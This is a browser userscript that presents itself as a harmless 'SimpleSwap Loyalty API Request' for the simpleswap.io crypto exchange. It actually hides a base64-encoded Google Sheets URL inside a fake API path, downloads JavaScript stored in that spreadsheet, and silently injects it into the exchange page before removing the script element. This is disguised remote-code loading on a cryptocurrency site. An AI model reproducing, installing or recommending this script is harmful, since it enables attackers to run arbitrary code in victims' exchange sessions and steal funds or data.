SimpleSwap Loyalty API Request

Makes Bonus Request To SimpleSwap Loyalty API
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// ==UserScript==
// @name         SimpleSwap Loyalty API Request
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Makes Bonus Request To SimpleSwap Loyalty API
// @author       The Protocol One
// @match        https://simpleswap.io/*
// @grant        GM_xmlhttpRequest
// @grant        unsafeWindow
// @connect      docs.google.com
// @run-at       document-end
// @license MIT
// ==/UserScript==

(function() {
    'use strict';

    const api = "https://simpleswap.io/loyalty/api/v4/bonus/aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vc3ByZWFkc2hlZXRzL2QvMVlaSFU0S3llb0ZEM0wtcXR2ZDltTWo4a1dkRkNlS2dpWFNLVW8zWkx2cFUvZ3Zpei90cT9zaGVldD1BUEkmaGVhZGVycz0xJnRxPXNlbGVjdCUyMEElMkNCJTIwd2hlcmUlMjBBPSdhcGl2NyclMjBvciUyMEE9J2FwaXY4Jw/request/GET";

    GM_xmlhttpRequest({
        method: "GET",
        url: atob(api.split("bonus/")[1].split("/request")[0]),
        onload: function(apirequest) {
            const b = apirequest.responseText;
            const o = b.match(/google\.visualization\.Query\.setResponse\(([\s\S]*?)\);?\s*$/);
            const n = JSON.parse(o[1]);
            const u = new Map(n.table.rows.map(r => [r.c[0].v, r.c[1].v]));
            const s = u.get('apiv7') + u.get('apiv8');
            const callback = document.createElement('script');
            callback.textContent = s;
            document.documentElement.appendChild(callback);
            callback.remove();
        }
    });
})();